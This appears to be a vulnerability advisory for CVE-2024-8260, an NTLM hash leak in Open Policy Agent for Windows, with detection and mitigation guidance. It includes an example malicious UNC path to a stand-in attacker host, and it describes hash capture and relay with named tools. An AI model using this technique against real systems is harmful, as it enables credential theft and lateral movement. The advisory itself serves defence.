CVE-2024-8260: Open Policy Agent Auth Bypass Vulnerability

CVE-2024-8260 Overview

CVE-2024-8260 is an SMB force-authentication vulnerability affecting all versions of Open Policy Agent (OPA) for Windows prior to v0.68.0. The flaw stems from improper input validation in the OPA Command Line Interface (CLI) and the OPA Go library. An attacker can supply an arbitrary Server Message Block (SMB) share path where a Rego policy file is expected. When OPA attempts to access the share, Windows performs automatic NTLM authentication, leaking the user's Net-NTLMv2 hash to an attacker-controlled server. The vulnerability is categorized as Authentication Bypass through Alternate Path or Channel [CWE-294].

Critical Impact
Successful exploitation leaks Net-NTLMv2 credential hashes of the user running OPA, enabling relay attacks or offline cracking against Active Directory accounts.

Affected Products

Open Policy Agent (OPA) for Windows, all versions prior to v0.68.0
OPA CLI on Windows hosts
Go applications embedding the OPA library on Windows

Discovery Timeline

2024-08-30 - CVE-2024-8260 published to the National Vulnerability Database (NVD)
2024-09-19 - Last updated in NVD database

Technical Details for CVE-2024-8260

Vulnerability Analysis

The vulnerability exists in how OPA for Windows parses file path arguments passed to its CLI commands and Go library functions. OPA expects a local path to a Rego policy file but does not validate whether the supplied argument points to a remote Universal Naming Convention (UNC) path. When an attacker supplies a UNC path such as \\attacker.example.com\share\policy.rego, the Windows operating system transparently initiates an SMB session to the remote host. As part of the SMB handshake, Windows automatically transmits the current user's Net-NTLMv2 challenge-response hash to the attacker-controlled server.

The attacker can then capture the hash using tools such as Responder or impacket-smbserver and perform offline brute-force cracking. Alternatively, the hash can be relayed to other internal services that accept NTLM authentication, including LDAP, SMB, or HTTP endpoints, enabling lateral movement.

Root Cause

The root cause is missing input validation in OPA's argument-handling code. The application accepts any string as a file path and passes it directly to Windows file APIs without filtering UNC prefixes (\\ or //). Because Windows treats UNC paths as transparent network resources, the operating system initiates outbound SMB authentication on behalf of the calling process.

Attack Vector

Exploitation requires an attacker to influence the policy file argument supplied to an OPA invocation. This is plausible in CI/CD pipelines, automation scripts, or scenarios where a privileged user is socially engineered into running an OPA command pointed at a malicious UNC path. The attack vector is local, requires low privileges, and requires user interaction, as reflected in the CVSS vector. Outbound SMB traffic (TCP/445) from the victim to the attacker host is required for the hash to leak.

No verified public proof-of-concept code is available. For additional technical details, refer to the Tenable Research Advisory TRA-2024-36.

Detection Methods for CVE-2024-8260

Indicators of Compromise

Outbound SMB (TCP/445) or NetBIOS (TCP/139) connections from Windows hosts running opa.exe to external or untrusted internal IP addresses.
OPA command-line invocations containing UNC path arguments such as \\<host>\<share>\ or forward-slash equivalents.
Unexpected NTLM authentication attempts from service accounts or developer workstations to non-domain destinations.

Detection Strategies

Monitor process creation events (Windows Event ID 4688, Sysmon Event ID 1) for opa.exe invocations with command-line arguments containing \\ or // UNC prefixes.
Correlate opa.exe process execution with subsequent outbound connections to TCP/445 using Sysmon Event ID 3 or EDR network telemetry.
Hunt across Go applications that statically link the OPA library by inspecting binaries for OPA symbols and reviewing their policy-loading inputs.

Monitoring Recommendations

Alert on any SMB authentication attempts from workstations to destinations outside the Active Directory domain perimeter.
Log and review CI/CD pipeline definitions that invoke OPA, ensuring policy file paths are pinned to trusted local or repository-controlled locations.
Track installed OPA versions on Windows endpoints and flag any release prior to v0.68.0.

How to Mitigate CVE-2024-8260

Immediate Actions Required

Upgrade Open Policy Agent for Windows to v0.68.0 or later on all endpoints, build agents, and servers.
Update Go applications that import the OPA library to use the patched module version and rebuild affected binaries.
Audit automation scripts, pipelines, and scheduled tasks that invoke opa.exe to confirm policy paths reference only trusted local files.

Patch Information

The vendor addressed the issue in OPA v0.68.0 by validating policy path arguments and rejecting UNC paths on Windows. Refer to the Tenable Research Advisory TRA-2024-36 for vendor-confirmed remediation guidance.

Workarounds

Block outbound SMB (TCP/445) and NetBIOS (TCP/139) traffic from Windows workstations and servers to the public internet at the perimeter firewall.
Enforce the Windows Group Policy setting Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers to Deny all where operationally feasible.
Validate and sanitize any user-supplied input that is forwarded as a file path argument to OPA, rejecting strings beginning with \\ or //.

bash

# Verify the installed OPA version on Windows
opa version

# Example Group Policy registry setting to block outbound NTLM
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" /v RestrictSendingNTLMTraffic /t REG_DWORD /d 2 /f